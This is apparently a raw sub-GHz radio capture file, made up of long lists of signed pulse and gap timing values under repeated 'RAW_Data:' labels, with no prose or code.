-3002 3395 -3002 3401 -2998 3205 -3196 3393 -2994 3401 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -3004 1799 -1402 1799 -1402 1801 -1396 3397 -3004 3393 -1400 1801 -3002 3395 -1400 1801 -1400 1795 -2996 3405 -2996 3401 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 3401 -1400 1801 -5956 861 -1316 1441 -3046 3355 -3176 3381 -2988 3389 -2994 3201 -3196 3393 -3002 3401 -2994 3403 -2994 3401 -3006 3397 -2996 3401 -2994 3401 -2994 3403 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -3002 1801 -1400 1801 -1400 1801 -1398 3389 -3002 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 -RAW_Data: 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 3403 -3002 1801 -1400 1801 -1400 1795 -1396 1795 -1402 3401 -3002 1801 -1396 3991 -4480 15153 -2008 3809 -2602 3603 -3002 3401 -3002 3407 -3006 3393 -2994 3393 -3004 3405 -2998 3393 -3002 3395 -3002 3393 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -2994 1805 -1396 1797 -1402 1795 -1398 3401 -3002 3395 -1400 1801 -3006 3397 -1398 1791 -1398 1801 -3002 3401 -1398 1795 -3002 1801 -1402 3401 -3002 1597 -1592 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1597 -1592 1797 -1402 1799 -1402 3401 -3002 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -3002 3395 -7734 2455 -2034 3851 -2834 3419 -3014 3405 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2994 3401 -3002 3393 -2996 3401 -3002 3407 -2996 3399 -1404 1795 -1392 1795 -1402 1799 -1398 1797 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3397 -1398 1791 -3000 3401 -1400 1801 -1398 1791 -2998 3403 -1400 1801 -3002 3401 -2994 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -1398 1791 -3002 3607 -3594 2481 -2584 3775 -2732 3541 -2914 3491 -2916 3333 -3160 3375 -2982 3389 -2992 3393 -2994 3401 -3004 3393 -3002 3401 -2994 3395 -3002 3401 -1402 -RAW_Data: 1795 -1394 1797 -1400 1801 -1396 1797 -1400 1801 -3002 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3395 -1400 1801 -2994 3401 -1402 1799 -1398 1791 -3000 3401 -1402 1799 -3002 3395 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -1402 1801 -1400 1801 -7478 1559 -3038 3563 -2982 3391 -2992 3395 -3002 3399 -2996 3391 -2994 3393 -2994 3403 -3002 3407 -3004 3393 -2996 3393 -3002 3401 -2994 3403 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1396 1797 -1402 3401 -2994 3401 -1402 1799 -2996 3401 -1400 1801 -1402 1795 -2990 3407 -1404 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1597 -1594 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -2998 1603 -1598 1791 -1394 1797 -1402 3401 -3006 1605 -1596 1791 -1394 3399 -4468 1663 -3040 3363 -2940 3339 -3112 3293 -3122 3329 -3156 3367 -2982 3387 -2990 3393 -2994 3403 -3002 3401 -2994 3401 -3002 3395 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3006 3207 -1594 1789 -2992 3401 -1402 1801 -1400 1801 -2994 3401 -1402 1799 -1398 1797 -3002 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 3401 -3002 1801 -1398 1795 -1402 1799 -1398 3403 -3004 1597 -1594 3389 -3402 1499 -440 419 -600 599 -766 1693 -3100 3401 -3002 3395 -2994 3401 -3002 3395 -3002 3393 -3006 3205 -3200 3197 -3194 3201 -3194 3403 -2994 3401 -3002 3395 -3006 3397 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 3393 -3002 3401 -1398 1797 -3002 3401 -1398 1795 -1398 1797 -3002 3401 -1400 1797 -1398 1799 -1402 1801 -2994 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 3401 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -2996 4203 -806 201 -2874 1835 -2990 3405 -2996 3393 -3002 3393 -3004 3405 -2998 3393 -2994 3403 -2994 3401 -2994 3403 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -3002 1801 -1398 1795 -1402 1799 -1398 3397 -3002 3403 -1396 1791 -3000 3401 -1402 1799 -1402 1801 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -3006 1605 -1596 1793 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -3002 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3395 -1400 1801 -6000 21381 -2268 3645 -2836 3417 -3010 3407 -3008 3403 -2998 3399 -2996 3395 -2994 3401 -2994 3401 -2996 3401 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1394 1797 -3002 1801 -1400 -RAW_Data: 1801 -1400 1801 -1398 3397 -3002 3401 -1398 1791 -3000 3405 -1406 1795 -1394 1795 -1402 1801 -3006 1599 -1594 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 3401 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -1398 1795 -3002 1801 -1402 3601 -4730 8239 -2608 3611 -3002 3401 -3002 3401 -3002 3395 -3002 3401 -2998 3399 -3002 3393 -3002 3401 -2996 3401 -2994 3407 -2996 3399 -1404 1795 -1396 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3397 -1398 1791 -3000 3401 -1400 1801 -1398 1795 -1402 1801 -3002 1795 -1398 1801 -1400 1801 -1396 3391 -3002 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 3401 -2994 1801 -1400 1801 -1396 1793 -1398 3401 -1400 1801 -3006 3397 -7406 3789 -200 4429 -2816 3413 -3014 3407 -3002 3407 -3004 3393 -3000 3397 -2994 3401 -2996 3401 -3002 3399 -3004 3395 -2994 3401 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -1396 1793 -1398 1799 -3006 1805 -1398 1791 -1398 3401 -3002 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 -RAW_Data: 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 3403 -2994 1799 -1402 1801 -1396 1797 -1400 3403 -1400 1795 -1394 1797 -3002 3401 -4904 1617 -2646 3741 -2764 3575 -2986 3385 -2994 3395 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -2994 3401 -1402 1801 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -3002 1801 -1400 1801 -1396 3399 -1400 1801 -3002 1595 -1594 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 3401 -3002 1801 -1400 1801 -1400 1797 -1394 3397 -1402 1799 -1402 1799 -1402 1795 -6010 3547 -1150 3953 -2576 3585 -2990 3395 -2994 3393 -3002 3403 -3002 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1400 1797 -2998 3407 -1404 1597 -1592 1793 -1398 1799 -3002 1801 -1402 3401 -2998 1605 -1596 1791 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -2994 1799 -1402 1801 -1400 3401 -2998 1805 -1398 1791 -1398 1801 -1400 3601 -4812 1887 -2884 3391 -2994 3393 -2994 3395 -2994 3401 -3002 3393 -3004 3401 -2994 3401 -3002 3395 -3002 3201 -3198 3205 -3196 3393 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1398 1799 -1402 1801 -1400 3393 -3004 -RAW_Data: 3393 -1400 1801 -3002 3395 -1400 1801 -1400 1801 -1396 1793 -2998 1801 -1400 3403 -2994 3401 -3002 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -3002 1797 -1394 1795 -1402 3401 -3002 1801 -1398 1791 -1398 3401 -4786 197 -1694 1655 -3046 3275 -3160 3351 -3136 3317 -2902 3311 -3324 3147 -3168 3181 -3186 3191 -3194 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3401 -3002 3401 -1398 1791 -3004 3405 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1398 3397 -1402 1799 -2994 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1400 3401 -2998 1805 -1396 1791 -1394 3399 -3002 1801 -1400 3401 -3002 4219 -3452 1989 -2654 3675 -2776 3467 -2882 3487 -3110 3319 -2932 3561 -2974 3381 -2992 3393 -2998 3393 -2996 3393 -3002 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1398 1801 -1402 1799 -1402 3401 -2994 3403 -1400 1795 -2992 3401 -1402 1799 -1402 1801 -1400 1795 -2992 1801 -1396 3397 -1402 1801 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 -RAW_Data: 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -2998 1805 -1400 1797 -1394 3397 -3002 1801 -1396 3399 -1400 1801 -7622 2021 -2904 3499 -2872 3443 -3018 3413 -3006 3411 -3006 3397 -3006 3393 -2994 3403 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2994 3403 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -2998 1605 -1596 1791 -1394 1797 -1402 3401 -3002 3401 -1402 1799 -3004 3393 -1396 1797 -1402 1799 -1402 1801 -2994 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 3397 -3002 1801 -1396 1797 -1400 3403 -3002 3393 -3002 1801 -1396 4405 -3580 2203 -2680 3433 -3018 3415 -3006 3401 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3203 -3194 3399 -3004 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -2998 3205 -1598 1791 -2998 3403 -1400 1801 -1396 1793 -1398 1799 -3002 3403 -3006 1599 -1592 3401 -3004 1597 -1594 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 1799 -1402 1801 -1400 3401 -2996 3401 -2994 3401 -7234 3089 -2524 3707 -2718 3733 -2896 3467 -2840 3421 -3020 3405 -3002 3401 -3002 3403 -3002 3393 -3002 3407 -2998 3393 -3002 3399 -2996 3399 -1404 1795 -1394 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1400 1795 -1394 1793 -1398 3401 -3002 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -3004 3401 -2994 3401 -2998 1805 -1398 -RAW_Data: 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1595 -1594 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 3401 -3006 1599 -1594 1791 -1398 3403 -3002 3401 -1398 1791 -2998 4003 -4646 1945 -2714 3615 -2814 3409 -3002 3407 -3004 3395 -3006 3397 -2994 3395 -3002 3401 -3002 3393 -3004 3401 -2994 3393 -3002 3403 -2994 3401 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1398 1801 -1402 1799 -1402 3401 -2994 3395 -1400 1801 -3002 3393 -1402 1795 -1398 1801 -1400 1801 -2990 3401 -3002 3403 -1400 1801 -3002 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 1801 -1396 1797 -1402 3401 -3002 3393 -1398 1797 -1400 1801 -7714 15297 -1990 4001 -2594 3603 -2994 3401 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3393 -2994 3407 -3006 3393 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2998 1801 -1396 1797 -1402 1799 -1402 3401 -2994 3401 